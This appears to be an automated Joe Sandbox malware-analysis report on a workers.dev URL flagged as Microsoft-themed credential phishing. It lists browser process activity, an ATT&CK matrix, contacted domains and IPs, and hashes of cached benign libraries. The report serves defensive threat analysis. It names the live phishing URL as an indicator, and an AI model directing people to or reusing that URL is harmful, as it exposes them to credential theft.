Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2256,i,9804766802934358695,13672551977537706370,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://wmicrosouab-4ba8.udydzj.workers.dev/	100%	Avira URL Cloud	phishing
https://wmicrosouab-4ba8.udydzj.workers.dev/	100%	SlashNext	Credential Stealing type: Phishing & Social usering

Source	Detection	Scanner	Label
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://promisesaplus.com/#point-48	0%	URL Reputation	safe
https://getbootstrap.com)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
code.jquery.com	151.101.2.137	true	false	high
wmicrosouab-4ba8.udydzj.workers.dev	104.21.86.161	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
part-0041.t-0009.t-msedge.net	13.107.213.69	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
www.google.com	142.250.141.99	true	false	high
api.ipify.org	104.26.13.205	true	false	high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
ka-f.fontawesome.com	unknown	unknown	false	high
kit.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	high
https://api.ipify.org/?format=json	false	high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	high
https://code.jquery.com/jquery-3.1.1.min.js	false	high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false	high
https://code.jquery.com/jquery-3.3.1.js	false	high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	high
https://wmicrosouab-4ba8.udydzj.workers.dev/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_69.2.dr	false		high
http://jquery.org/license	chromecache_69.2.dr	false		high
https://ka-f.fontawesome.com	chromecache_67.2.dr	false		high
https://jsperf.com/thor-indexof-vs-for/5	chromecache_69.2.dr	false		high
https://bugs.jquery.com/ticket/12359	chromecache_69.2.dr	false		high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_69.2.dr	false		high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_69.2.dr	false		high
https://promisesaplus.com/#point-75	chromecache_69.2.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_69.2.dr	false		high
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_69.2.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_69.2.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_69.2.dr	false		high
https://fontawesome.com/license/free	chromecache_62.2.dr, chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false		high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_69.2.dr	false		high
https://fontawesome.com	chromecache_62.2.dr, chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	false		high
https://github.com/eslint/eslint/issues/6125	chromecache_69.2.dr	false		high
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_69.2.dr	false		high
https://github.com/jquery/jquery/pull/557)	chromecache_69.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_73.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_69.2.dr	false		high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_69.2.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_69.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_69.2.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_59.2.dr	false		high
https://bugs.jquery.com/ticket/13378	chromecache_69.2.dr	false		high
https://promisesaplus.com/#point-64	chromecache_69.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-61	chromecache_69.2.dr	false	URL Reputation: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_69.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_69.2.dr	false		high
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_69.2.dr	false		high
https://promisesaplus.com/#point-59	chromecache_69.2.dr	false	URL Reputation: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_69.2.dr	false		high
https://promisesaplus.com/#point-57	chromecache_69.2.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_69.2.dr	false		high
https://promisesaplus.com/#point-54	chromecache_69.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_69.2.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_69.2.dr	false		high
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_69.2.dr	false		high
https://jquery.org/license	chromecache_69.2.dr	false		high
https://kit.fontawesome.com	chromecache_67.2.dr	false		high
https://jquery.com/	chromecache_69.2.dr	false		high
https://getbootstrap.com)	chromecache_73.2.dr, chromecache_70.2.dr	false	Avira URL Cloud: safe	low
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_69.2.dr	false		high
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_69.2.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_73.2.dr, chromecache_70.2.dr	false		high
https://promisesaplus.com/#point-48	chromecache_69.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_69.2.dr	false		high
https://sizzlejs.com/	chromecache_69.2.dr	false		high
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_69.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.69	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.141.99	www.google.com	United States	15169	GOOGLEUS	false
104.21.86.161	wmicrosouab-4ba8.udydzj.workers.dev	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
13.107.213.69	part-0041.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430647
Start date and time:	2024-04-24 01:33:01 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://wmicrosouab-4ba8.udydzj.workers.dev/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@16/34@20/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 74.125.137.94, 142.251.2.139, 142.251.2.101, 142.251.2.100, 142.251.2.102, 142.251.2.113, 142.251.2.138, 142.251.2.84, 34.104.35.123, 142.251.2.95, 172.64.147.188, 104.18.40.68, 142.251.2.94, 104.21.26.223, 172.67.139.119, 142.250.141.95, 142.250.101.95, 20.114.59.183, 192.229.211.108, 52.165.164.15, 23.220.73.19, 23.220.73.6, 72.21.81.240, 13.85.23.86, 40.68.123.157
Excluded domains from analysis (whitelisted): ka-f.fontawesome.com.cdn.cloudflare.net, slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, glb.sls.prod.dcat.dsp.trafficmanager.net, kit.fontawesome.com.cdn.cloudflare.net, client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, aadcdnoriginwus2.azureedge.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, wu-bg-shim.trafficmanager.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.co
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://wmicrosouab-4ba8.udydzj.workers.dev/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1293
Entropy (8bit):	5.448893852817212
Encrypted:	false
SSDEEP:	24:81/nQOY7a4gwAZzhnQOY7a4goRVc+u/rnQOY7a4gHwy96DGSSf7:coOEa4gvGOEa4goRVc+uUOEa4gHN0oD
MD5:	CBA4ED6C809962AC6C2A26842183B67A
SHA1:	3F8E077AFC8EF5BAB7FA626EA782DAE34D419BBE
SHA-256:	AAE65C231008861C6430EBE296C926E728C4D2CCB1492F86E42D760E9B67D9A5
SHA-512:	84894B90DDA3CA3487F3E4F87F8244C78BA726331AC3EA290F6BD64830B0A21856A42333CC4EDBBF23DC2F063C53AD71B3F41864275D874AEBD37C198AE1CBE0
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap
Preview:	/* vietnamese /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.481714572986072
Encrypted:	false
SSDEEP:	3:YMpLUTFLeYn:YMpL+n
MD5:	2BE26D61DD1A6D813D1C6E10435F350F
SHA1:	CCC0D55BD39A59D675A700F3AC7E2C3A8BE33191
SHA-256:	0D4A2EB41BA05EE00913776B2DDDD6872DC3DE9D064BFDA8F09C573BD1C31CE1
SHA-512:	0000799316AC679DE174DB7E10D96116739805FB11D62A6C55FAD4A11479455F5AB74A7EEBBB743CFE76B466D78E31E5F6EA1D0890187EFC6DC77010DC431810
Malicious:	false
Reputation:	low
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"154.16.105.36"}

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26500)
Category:	downloaded
Size (bytes):	26682
Entropy (8bit):	4.82962335901065
Encrypted:	false
SSDEEP:	192:kP6hT1bIl4w0QUmQ10PwKLaAu5CwWavpHo4O6wgLPhJVR8XD7mycP:Phal4w0QK+PwK05eavpmgP1eXD7mycP
MD5:	76F34B71FC9FB641507FF6A822CC07F5
SHA1:	73ED2F8F21CD40FB496E61306ACBB5849D4DBFF4
SHA-256:	6DEA47458A4CD7CD7312CC780A53C62E0C8B3CCC8D0B13C1AC0EA6E3DFCECEA8
SHA-512:	6C4002CE78247B50BFA835A098980AF340E4E9F05F7097C1E83301289051CE1282E647ABAB87DB28A32FBFE0263C7318D2444B7D57875873908D6D5ED2AF882F
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/css/free-v4-shims.min.css?token=585b051251
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa.fa-glass:before{content:"\f000"}.fa.fa-meetup{font-family:"Font Awesome 5 Brands";font-weight:400}.fa.fa-star-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-file-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 5 Free";font-weight:400}.fa.fa-arro

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	dropped
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
